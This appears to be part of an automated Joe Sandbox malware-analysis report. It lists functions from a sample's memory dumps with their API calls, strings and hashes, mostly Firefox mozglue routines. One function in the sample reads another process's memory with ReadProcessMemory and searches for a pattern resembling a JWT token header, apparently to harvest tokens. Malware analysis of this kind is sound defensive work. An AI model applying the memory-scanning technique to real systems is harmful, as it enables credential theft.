String ID: data$v$l
API String ID: 511789754-3882444262
Opcode ID: a032afe4f3f7b35f56ba5acb294c4700f62890c8dbd87e3543a96872f17ff3b3
Instruction ID: 8ac5c2a3ea5b88768e37c31ec869e6175947c60f3c103984b602ad6c9c731e8d
Opcode Fuzzy Hash: a032afe4f3f7b35f56ba5acb294c4700f62890c8dbd87e3543a96872f17ff3b3
Instruction Fuzzy Hash: 20D1B1B5B083458FD724DF24C895B9FB7E5AFC5308F10891EE98987B91DB30A449CB52

Function 6C1D9830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C227ABE), ref: 6C1D985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C227ABE), ref: 6C1D98A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C1D9909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C1D9918
free.MOZGLUE(?), ref: 6C1D9975

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 8ae8c6e2dc8f846dc6461ba0a20c978aa3e4c1653333e7c6982ae7c853cc893e
Instruction ID: 942e21928e2171f1f45732b25beb8d8fad03f2f4e12dfb8ff92c0d9f47292ac4
Opcode Fuzzy Hash: 8ae8c6e2dc8f846dc6461ba0a20c978aa3e4c1653333e7c6982ae7c853cc893e
Instruction Fuzzy Hash: 16718C756047058FC729CF28C4A0A56B7F1FF4A324B264AADD85A8BB90DB71F841CF51

Function 004169A0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT(00000000,?,?,?,?,?,?,?,00416C3A,00000000,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30,00000000,00000000), ref: 004169BF
??_U@YAPAXI@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,00416C3A,00000000,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30,00000000,00000000), ref: 004169ED

Part of subcall function 00416670: strlen.MSVCRT(00000000,?,?,?,?,00416A0C,00000000), ref: 00416681
Part of subcall function 00416670: strlen.MSVCRT(00000000), ref: 004166A5

VirtualQueryEx.KERNEL32(00416DAD,00000000,?,0000001C), ref: 00416A32
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00416C3A), ref: 00416B53

Part of subcall function 00416880: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00416898

Strings

:lA, xrefs: 00416A18, 00416A1B
@, xrefs: 00416A46

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: :lA$@
API String ID: 2950663791-2855229504
Opcode ID: 4afa45cea5b3bcaab92a32f2428c4a97edc849bca8639b017ecb6fd58acf4104
Instruction ID: 51c9d4b078fe92f83ab81220ebbaf7cdf2a8f9ee762561721c09ea6573e6fdbd
Opcode Fuzzy Hash: 4afa45cea5b3bcaab92a32f2428c4a97edc849bca8639b017ecb6fd58acf4104
Instruction Fuzzy Hash: 845108B5E04119ABDB04CF94D981AEFB7B5FF88304F108519F915A7240D738EA51CBA9

Function 6C1DB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C21CC83,?,?,?,?,?,?,?,?,?,6C21BCAE,?,?,6C20DC2C), ref: 6C1DB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C21CC83,?,?,?,?,?,?,?,?,?,6C21BCAE,?,?,6C20DC2C), ref: 6C1DB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C21CC83,?,?,?,?,?,?,?,?,?,6C21BCAE), ref: 6C1DB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C21CC83,?,?,?,?,?,?,?,?,?,6C21BCAE,?,?,6C20DC2C), ref: 6C1DB896

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 745d45fa3a27f75332f9f41e08ec7a5e8b78ff9fe14382252cc9b2a5072ee847
Instruction ID: 3dc9f40c2e3e5afb5291f8deb7f7b27968660642c54902f69ada065181c499db
Opcode Fuzzy Hash: 745d45fa3a27f75332f9f41e08ec7a5e8b78ff9fe14382252cc9b2a5072ee847
Instruction Fuzzy Hash: 735168757006008FCB25DF59C498E6ABBF5FF99318B6A859DE99A87391C731F801CB80

Function 6C204AD0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 139stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?,80000000,?,6C204AB7,?,6C1C43CF,?,6C1C42D2), ref: 6C204B48
free.MOZGLUE(?,?,?,80000000,?,6C204AB7,?,6C1C43CF,?,6C1C42D2), ref: 6C204B7F
memcpy.VCRUNTIME140(00000000,?,?,80000000,?,6C204AB7,?,6C1C43CF,?,6C1C42D2), ref: 6C204B94
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6C204AB7,?,6C1C43CF,?,6C1C42D2), ref: 6C204BBC
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,pid:,00000004,?,?,?,6C204AB7,?,6C1C43CF,?,6C1C42D2), ref: 6C204BEE

Strings

pid:, xrefs: 6C204BE8

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfreestrncmp
String ID: pid:
API String ID: 1916652239-3403741246
Opcode ID: a4d692d5d80ad72e775953257c2088ddf652cbfba92f62d5aee5f6d8d3273400
Instruction ID: c49cd42670e3870612358eedddc04b84abadde96806c803b9fc15ebb930d8c9e
Opcode Fuzzy Hash: a4d692d5d80ad72e775953257c2088ddf652cbfba92f62d5aee5f6d8d3273400
Instruction Fuzzy Hash: 2C41F771B002199BCB14CFB8DC8499FBBF9AF95224B148639FC69D7781DA309908C7A1

Function 6C211D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32(?,?,?,?,6C211BE3,?,?,6C211D96,00000000), ref: 6C211D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C211BE3,?,?,6C211D96,00000000), ref: 6C211D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C211BE3,?,?,6C211D96,00000000), ref: 6C211D4C
GetCurrentThreadId.KERNEL32(?), ref: 6C211DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C211DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C211DDA

Part of subcall function 6C211EF0: GetCurrentThreadId.KERNEL32(?,?,?,?,6C211DF2,00000000,00000000), ref: 6C211F03
Part of subcall function 6C211EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C211DF2,00000000,00000000), ref: 6C211F0C
Part of subcall function 6C211EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C211F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C211DF4

Part of subcall function 6C1DCA10: malloc.MOZGLUE(?), ref: 6C1DCA26

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: b9d746b0606d18e7229e672687da2b353920e5d606e16f77eb97e368bdcb9ac5
Instruction ID: 2057dcb3e74b0b75e58bd6f40f10b36045dfa6d1b924fa35a110994d34377ebb
Opcode Fuzzy Hash: b9d746b0606d18e7229e672687da2b353920e5d606e16f77eb97e368bdcb9ac5
Instruction Fuzzy Hash: E6416AB92007059FCB10DF25C488A5ABBF5FB89318F50846DED5A87B81DB71E854CB91

Function 6C1D38A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C24E220,?,?,?,?,6C1D3899,?), ref: 6C1D38B2
ReleaseSRWLockExclusive.KERNEL32(6C24E220,?,?,?,6C1D3899,?), ref: 6C1D38C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C1D3899,?), ref: 6C1D38F1
RtlFreeHeap.NTDLL(?,00000000,?,?,?,?,6C1D3899,?), ref: 6C1D3920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C1D3899,?), ref: 6C1D392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C1D3899,?), ref: 6C1D3943
RtlFreeHeap.NTDLL(?,00000000,0000002C,?,?,?,6C1D3899,?), ref: 6C1D396E

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: e6f061217e295dc086d8bdc54f17f57c119956322239e13d73bea0c2afb3ff74
Instruction ID: f8bd085f3c8c1ed5aec71eeae9f847ac5f15b796070b66ead482fc9114ecf8f8
Opcode Fuzzy Hash: e6f061217e295dc086d8bdc54f17f57c119956322239e13d73bea0c2afb3ff74
Instruction Fuzzy Hash: C4214477600B20DFD720DF29C884B86B7B8EF44728F968429D95A97B40C730F886CB90

Function 6C2084E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C2084F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C20850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C20851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C20855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C20856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C2085AC

Part of subcall function 6C207670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C2085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C20767F
Part of subcall function 6C207670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C2085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C207693
Part of subcall function 6C207670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C2085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C2076A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C2085B2

Part of subcall function 6C1E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C1E5EDB
Part of subcall function 6C1E5E90: memset.VCRUNTIME140(ew"l,000000E5,?), ref: 6C1E5F27
Part of subcall function 6C1E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C1E5FB2

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: c227f75325addfc21a0af4e8332ff4e79e0b4b13b649c943497aad72620ec46a
Instruction ID: 1fdd2c3d50facb3a16323c674065e673662cb2abd7b28dc4993bd54fab94e455
Opcode Fuzzy Hash: c227f75325addfc21a0af4e8332ff4e79e0b4b13b649c943497aad72620ec46a
Instruction Fuzzy Hash: C22171743006059FDB14DB28C888A6BBBB5AF4430EF15482EE95BC3B81DB31F948CB51

Function 6C1D1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C1D1699
VerSetConditionMask.NTDLL ref: 6C1D16CB
VerSetConditionMask.NTDLL(00000000,?,00000001,00000003), ref: 6C1D16D7
VerSetConditionMask.NTDLL(00000000,?,00000004,00000003,?,00000001,00000003), ref: 6C1D16DE
VerSetConditionMask.NTDLL(00000000,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6C1D16E5
VerSetConditionMask.NTDLL(00000000,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6C1D16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6C1D16F9

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: e669c6955708c627c89e46294597cec090de81d4b773f108c9baaabeae5f26bc
Instruction ID: 22352f731b7d9c4c06d933d21aaacf20f81a9a4536378ce277354b7a30a12281
Opcode Fuzzy Hash: e669c6955708c627c89e46294597cec090de81d4b773f108c9baaabeae5f26bc
Instruction Fuzzy Hash: 1A21D5B07402086FFB11AA64CC49FBBB37CDFC6714F018528FA059B5C1D6B8AD54CAA1

Function 6C21D1D0 Relevance: 10.6, APIs: 7, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C21D1EC
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C21D1F5

Part of subcall function 6C21AD40: moz_malloc_usable_size.MOZGLUE(?), ref: 6C21AE20

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C21D211
GetCurrentThreadId.KERNEL32 ref: 6C21D217
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C21D226
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C21D279
free.MOZGLUE(?), ref: 6C21D2B2

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$freemoz_malloc_usable_size
String ID:
API String ID: 3049780610-0
Opcode ID: e3b7dbf1582b5678e247ae1a642b037597f112e00a182fb7f24fd41fcf8af4bd
Instruction ID: a9246b22865fe200fcaded8b6dad2a459019473f6702023253aeef9ef32c2124
Opcode Fuzzy Hash: e3b7dbf1582b5678e247ae1a642b037597f112e00a182fb7f24fd41fcf8af4bd
Instruction Fuzzy Hash: AC218075704705DFCB05DF24C488A9EB7B1FF8A328F50462DE92687781DB30A809CB96

Function 6C20F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C1FCBE8: GetCurrentProcess.KERNEL32(?,6C1C31A7), ref: 6C1FCBF1
Part of subcall function 6C1FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C1C31A7), ref: 6C1FCBFA

Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C1D4A68), ref: 6C20945E
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C209470
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C209482
Part of subcall function 6C209420: __Init_thread_footer.LIBCMT ref: 6C20949F

GetCurrentThreadId.KERNEL32(?,00000000,6C24F4B8,?,?,00000000,?,6C20F598), ref: 6C20F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C20F598), ref: 6C20F621

Part of subcall function 6C2094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C2094EE
Part of subcall function 6C2094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C209508

GetCurrentThreadId.KERNEL32(?,00000000,6C24F4B8,?,?,00000000,?,6C20F598), ref: 6C20F637
AcquireSRWLockExclusive.KERNEL32(6C24F4B8,?,?,00000000,?,6C20F598), ref: 6C20F645
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8,?,?,00000000,?,6C20F598), ref: 6C20F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C20F62A

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 9370239bf78ce1a5e5ea6aa24ae861fab1b7898c6b3705e70f0048b5bdcee066
Instruction ID: e8625a93b8cd30d24b39c42e27a7550f4ae189d338f1541097dabe8a30363194
Opcode Fuzzy Hash: 9370239bf78ce1a5e5ea6aa24ae861fab1b7898c6b3705e70f0048b5bdcee066
Instruction Fuzzy Hash: D5118276301609ABCB04BF59D448D9ABB79FBC636DF504016EE0687F81CB71A825CBA4

Function 6C1D2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C1FAB89: EnterCriticalSection.KERNEL32(6C24E370,?,?,?,6C1C34DE,6C24F6CC,?,?,?,?,?,?,?,6C1C3284), ref: 6C1FAB94
Part of subcall function 6C1FAB89: LeaveCriticalSection.KERNEL32(6C24E370,?,6C1C34DE,6C24F6CC,?,?,?,?,?,?,?,6C1C3284,?,?,6C1E56F6), ref: 6C1FABD1

LoadLibraryW.KERNEL32(combase.dll,6C1D1C5F), ref: 6C1D20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C1D20CD
__Init_thread_footer.LIBCMT ref: 6C1D20E1
FreeLibrary.KERNEL32 ref: 6C1D2124

Strings

CoInitializeSecurity, xrefs: 6C1D20C7
combase.dll, xrefs: 6C1D20A9

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 4c5dc3c6f8b3f57d7c9013d7fb2cb7f59db8fd046fed5f82e9d5c83824a5cd61
Instruction ID: a046d9bba9d7604b72005185fd675b5649ef5cacbeb5033cd4a0a12480f8dbee
Opcode Fuzzy Hash: 4c5dc3c6f8b3f57d7c9013d7fb2cb7f59db8fd046fed5f82e9d5c83824a5cd61
Instruction Fuzzy Hash: 01213A76200209AFDF11EF59DC4CE9B3BB6FB8A369F118014FE2492690D771A861DF60

Function 6C2276C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C2276F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C227705

Part of subcall function 6C1DCA10: malloc.MOZGLUE(?), ref: 6C1DCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C227717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C22778F,00000000,00000000,00000000,00000000), ref: 6C227731
free.MOZGLUE(00000000), ref: 6C227760

Strings

}> l, xrefs: 6C2276C4

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }> l
API String ID: 2538299546-1197762070
Opcode ID: 3ed7081ee7bb33f9bdcc1c57cd66ace78c32cea0df39426dac32f7db40e1f01a
Instruction ID: af1ed7f8fbeaf74ca89978044f9c742f93ea1c851b6c67969c2f7fc94180551e
Opcode Fuzzy Hash: 3ed7081ee7bb33f9bdcc1c57cd66ace78c32cea0df39426dac32f7db40e1f01a
Instruction Fuzzy Hash: CE1190B1D052296BE710AF66CC44BABBEF8EF45754F044529FC88A7300E7749840C7E2

Function 6C2099A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C1D4A68), ref: 6C20945E
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C209470
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C209482
Part of subcall function 6C209420: __Init_thread_footer.LIBCMT ref: 6C20949F

GetCurrentThreadId.KERNEL32 ref: 6C2099C1
AcquireSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C2099CE
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C2099F8
GetCurrentThreadId.KERNEL32 ref: 6C209A05
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C209A0D

